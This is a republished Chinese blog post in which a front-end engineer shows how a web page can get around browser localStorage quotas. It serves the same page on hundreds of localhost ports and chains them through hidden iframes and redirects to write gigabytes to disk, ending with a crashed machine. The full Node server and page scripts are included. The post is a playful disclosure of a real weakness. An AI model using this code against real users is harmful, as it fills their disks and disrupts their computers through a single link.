1. 程式人生 > >如何機智的弄壞一臺電腦?來自一名前端工程師的報復...

如何機智的弄壞一臺電腦?來自一名前端工程師的報復...

很多人都在說:“技術領域當中,前端最沒有技術含量,且容易被替代。”有人說,前端的能力界限頂多就在瀏覽器那兒,無論你觸發了多少bug,最多導致瀏覽器崩潰,連電腦系統都影響不了。

就像二次元各種炫酷的毀滅世界,都不會導致三次元的世界末日。

這我就不能忍了。作為一個前端,我發現還是有方式突破次元壁、開啟次元大門的…

這個實驗腦洞較大,動機無聊,但某種意義上反映了一些安全問題。

想象一下,有天你在家裡上網,吃著火鍋還唱著歌,點開一個連結,電腦突然就藍屏了!想想還真有點小激動。

起因

故事得從localStorage(本地儲存)說起。

html5的本地儲存,相信大家都不陌生。將資料以二進位制檔案形式儲存到本地,在當前應用得非常廣泛。

windows下的chrome,localStorage儲存於C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage資料夾中。但如果任由網頁無限寫檔案,對使用者硬碟的傷害可想而知,因而瀏覽器對其做了大小限制。

對於一個域名+埠,PC側的上限是5M-10M之間,移動側是則不大於2.5M。

那麼問題就變成:這樣的限制足夠保護使用者硬碟了嗎?

關鍵

關鍵的問題在於,這一限制,針對的是一個域名+埠。

也就是說,你訪問同一個域名的不同埠,它們的localStorage並無關聯,是分開儲存的。

我用node簡單地開啟了伺服器,這時候,使用者訪問http://127.0.0.1:1000

http://127.0.0.1:1099這100個埠,會請求到同一個頁面:index.html

var http = require('http');
var fs = require('fs');
//100個埠
for(var port = 1000; port< 1100; port++){
  http.createServer(function (request, response) {
    //請忽略這種迴圈讀檔案的方式,只為了簡便
    fs.readFile('./index.html', function(err, content){
      if(err) {
      } else {
        response.writeHead(200, { 'Content-Type'
: 'text/html; charset=UTF-8' }); response.write(content); response.end(); } }); }).listen(port, '127.0.0.1'); } 複製程式碼

當然,這個index.html裡涉及了localStorage寫操作。

var s = "";
//慢慢來,別寫太大了,好害怕…
for(var i=0; i< 3 * 1024 * 1024; i++){
  s += "0";
}
localStorage.setItem("testData", s);
複製程式碼

我試著用瀏覽器分別訪問了幾個埠,結果是分開儲存。一切跟劇本一樣。

自動遍歷

但這種程度還不夠。

如果要實驗變得更好(xie)玩(e)一些,問題就變成如何讓使用者自動遍歷這些埠?

iframe是個好的嘗試。

只要一開啟http://127.0.0.1: 1000,頁面的腳步就會建立一個iframe,去請求http://127.0.0.1: 1001,一直迴圈下去。

var Main = (function(){
  var _key = "testData";
  var _max = 1100; //最大限制
  return {
    init: function(){
      //慢慢來,別寫太大了,好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);
      var port = parseInt(location.port)+1;
      if(port > _max) return;
      //新新增iframe
      var url = "http://127.0.0.1:" + port;
      var $iframe = document.createElement("iframe");
      $iframe.src = url;
      document.getElementsByTagName("body")[0].appendChild($iframe);
    }
  }
})();
複製程式碼

當然iframe我們還可以設定為不可見,以掩蓋這種不厚道的行為… 比方說,有人發給你一個連結,你開啟後發現是個視訊,而你根本注意不到背後的指令碼,在視訊播放的幾分鐘裡,快要把你的C盤寫滿。

然後我就看到請求如潮水漸漲:

但是,請求到1081埠,最新的chrome就崩潰掉了…原來iframe巢狀太多,已經到達了瀏覽器的極限。

###防止瀏覽器崩潰

C盤還未撐滿,同志還需努力。怎麼辦?

突然想到,到達iframe極限之前,我們可以重定向啊。

每訪問50個埠,就使用window.location.href重定向一次,去確保瀏覽器不崩潰。

var Main = (function(){
  var _key = "testData";
  var _max = 1200; //最大限制
  var _jumpSpace = 50; //為避免iframe過多導致瀏覽器crash,每50個執行跳轉
  return {
    init: function(){
      //慢慢來,別寫太大了,好害怕…
      var s = "";
      for(var i=0; i< 3 * 1024 * 1024; i++){
        s += "0";
      }
      localStorage.setItem(_key, s);
      var port = parseInt(location.port)+1;
      if(port > _max) return;
      if(port % _jumpSpace == 0){
        //每50個,重定向一次
        window.location.href = url;
      }else{
        //新新增iframe
        var $iframe = document.createElement("iframe");
        $iframe.src = url;
        document.getElementsByTagName("body")[0].appendChild($iframe);
      }
    }
  }
})();
複製程式碼

事實證明,這種蠻拼的方法的確可行。

至此,只要訪問http://127.0.0.1: 1000,就會往Local Storage資料夾裡寫入近500M無用資料:

裡面的資料是這樣的:

繼續實驗的黑科技

算了下我的C盤還有空間嘛,那就把埠數量從100增長到200個。

結果是這樣的,到達了1.17G大小。

在後續的實驗中,我就慢慢的把埠數量與儲存的資料調大。

電腦也執行得越來越慢。這是為什麼呢?

我觀察到,有時候執行localStorage.setItem()後,在資料夾裡不一定立即能看到資料檔案。

懷疑這些資料會被chrome先放到記憶體裡,以避免重複讀寫帶來的消耗,在空閒或關閉的時機,再寫進硬盤裡。

但此時,瀏覽器已經影響到系統了。它處於一種“不會崩潰”,但“因為佔用了許多記憶體,已經妨礙使用者電腦的正常使用”的狀態。

即使使用者關閉了瀏覽器視窗,也不會很快恢復。要知道讀寫任務並不是隨視窗關閉而終止的,否則瀏覽器會丟失資料。

遭遇黑科技的人們能做的只有:

  1. 等待;

  2. 用工作管理員關掉chrome程序,再等待;

  3. 相信並嘗試“重啟電腦解決90%電腦問題”的科學論斷

可以說,瀏覽器的內心幾乎是崩潰的。

最後

最後,還是得用嚴肅臉告誡一下:害人之心不可無。

本實驗,從一開始就是懷揣著將安全問題上交給國家的初衷去做的(是的就是這麼純粹)。

後續,看著C盤還有2G空間,我又把埠增長到2000個,試下會發生什麼。

由於請求過多,需要一定時間,我就去做別的事情了。

回來後發現房間安靜祥和,美輪美奐,一片藍光,像是加了特技。

那麼問題來了,計算機修理哪家強?

有點急…

原文作者:litten
複製程式碼